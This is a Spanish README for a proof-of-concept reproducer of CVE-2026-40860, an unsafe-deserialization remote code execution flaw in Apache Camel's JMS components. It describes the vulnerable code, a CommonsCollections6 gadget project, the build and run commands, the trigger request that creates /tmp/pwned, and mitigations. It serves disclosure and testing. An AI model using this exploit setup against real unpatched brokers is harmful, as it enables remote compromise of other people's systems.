
Reproductor para CVE-2026-40860 — Apache Camel camel-jms/sjms/amqp deserialización insegura de JMS ObjectMessage (RCE)
Este proyecto demuestra una vulnerabilidad de deserialización en Java en el componente camel-jms de Apache Camel (y, de forma transitiva, en camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6), registrada como CVE-2026-40860. JmsBinding.extractBodyFromJms() deserializa la carga útil de un ObjectMessage JMS entrante mediante ObjectMessage.getObject() , ni lista blanca ni lista negra de clases. Debido a que esto se ejecuta siempre que (el valor por defecto) y Camel actúa como JMS, un atacante que pueda publicar un manipulado en una cola/tema consumido puede lograr cuando hay una cadena de gadgets en el classpath.
ObjectInputFiltermapJmsMessage=trueObjectMessage| Propiedad | Valor |
|---|---|
| Componentes | camel-jms (+ camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6) |
| Clase afectada | org.apache.camel.component.jms.JmsBinding#extractBodyFromJms → jakarta.jms.ObjectMessage#getObject() |
| CWE | CWE-502: Deserialización de datos no confiables |
| Impacto | Ejecución remota de código (RCE) |
| Disparador | Consumidor JMS de Camel + mapJmsMessage=true (por defecto) + un ObjectMessage que el atacante pueda poner en cola |
| Versiones afectadas | Desde 3.0.0 anteriores a 4.14.7, desde 4.15.0 anteriores a 4.18.2, desde 4.19.0 anteriores a 4.20.0 |
| Versiones corregidas | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23321 |
| Reportante | Venkatraman Kumar (Securin) |
// JmsBinding.extractBodyFromJms(Exchange, Message) - affected version
if (message instanceof ObjectMessage objectMessage) {
Object payload = objectMessage.getObject(); // <-- deserializes with no ObjectInputFilter
if (payload instanceof DefaultExchangeHolder holder) {
...
}
return payload;
}
getObject() ejecuta ObjectInputStream.readObject() del proveedor JMS sobre el cuerpo del mensaje. Camel no añade ningún filtrado de clases propio, por lo que una cadena de gadgets presente en el classpath se ejecuta durante la deserialización.
La corrección (4.14.7 / 4.18.2 / 4.20.0) añade una lista blanca ObjectInputFilter por defecto (java.**;javax.**;org.apache.camel.**;!*), personalizable mediante la nueva opción de endpoint deserializationFilter o la opción global de JVM -Djdk.serialFilter. Nótese el mensaje de commit del propio Camel para la corrección:
esta comprobación se ejecuta después de que el proveedor JMS ya haya deserializado la carga útil. Impide que las clases inesperadas se propaguen a la ruta, pero no puede, por sí sola, detener las cadenas de gadgets cuyo
readObject()se activa dentro delObjectInputStreamdel proveedor. La protección completa requiere configurar el filtro de deserialización del propio proveedor JMS y/o el-Djdk.serialFiltera nivel de JVM.
Por tanto, la protección completa = actualizar Camel + restringir el filtro del proveedor / de la JVM. Este PoC utiliza un cliente ActiveMQ con trustAllPackages=true (una configuración habitual en entornos reales) para que el proveedor deserialice la carga útil; en una versión afectada de Camel, nada más se interpone.
from("jms:queue:evil") // mapJmsMessage defaults to true
.log("Consumed: ${body.class.name}");
El mero hecho de recibir el ObjectMessage dispara la deserialización; el cuerpo de la ruta es irrelevante.
La víctima es el consumidor JMS de Camel. El atacante es cualquier productor que pueda publicar en la cola. Ambos se comunican con un broker real Apache ActiveMQ Artemis que se ejecuta en Docker.
CVE-2026-40860/
├── pom.xml # camel-jms 4.18.1 + activemq-client 6.2.4 + commons-collections 3.2.1 (gadget)
├── Dockerfile # runs the app (--add-opens only to build the gadget)
├── docker-compose.yml # Artemis broker (quay.io) + the reproducer app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── JmsConfig.java # OpenWire ConnectionFactory (trustAllPackages=true) + jms component
│ ├── VictimRoute.java # victim: from("jms:queue:evil")
│ ├── Gadget.java # CommonsCollections6 gadget, fires during getObject()
│ └── ExploitController.java # attacker: publishes ObjectMessage(gadget) to the queue
└── resources/
└── application.properties
En un ataque real, los bytes serializados los produce el atacante fuera de línea (p. ej., con ysoserial); solo la víctima necesita la cadena de gadgets en su classpath. Este PoC construye el gadget en el mismo proceso por comodidad, por eso la JVM se ejecuta con
--add-opens java.base/java.util=ALL-UNNAMED, un detalle de construcción del gadget no relacionado con la vulnerabilidad.
mvn clean package -DskipTests
docker compose up -d --build
Esto inicia un broker Artemis (quay.io/artemiscloud/activemq-artemis-broker) y la aplicación del PoC, que se conecta a él mediante OpenWire.
curl -s http://localhost:8080/exploit/attack
# -> ObjectMessage published to queue 'evil'.
# camel-jms consumer called ObjectMessage.getObject() -> deserialization.
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-40860 ls -la /tmp/pwned
docker compose down
Cualquier consumidor JMS de Camel (camel-jms, camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6) que lea de un destino al que un atacante pueda publicar — un broker compartido, un tema con productores abiertos, una cola alimentada por una fuente no confiable — con mapJmsMessage=true (el valor por defecto).
mapJmsMessage=true (por defecto).ObjectMessage en el destino consumido.trustAllPackages=true, o un proveedor sin un filtro restrictivo).commons-collections:3.2.1).Actualice a 4.14.7 / 4.18.2 / 4.20.0 y restrinja la deserialización de extremo a extremo:
-Djdk.serialFilter=java.**;org.apache.camel.**;!* (o la nueva opción deserializationFilter del endpoint).trustedPackages en ActiveMQ; no utilice trustAllPackages=true).Hasta que se actualice:
ObjectMessage; establezca mapJmsMessage=false cuando el mensaje en bruto sea aceptable.trustAllPackages=true en destinos no confiables.-Djdk.serialFilter.Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.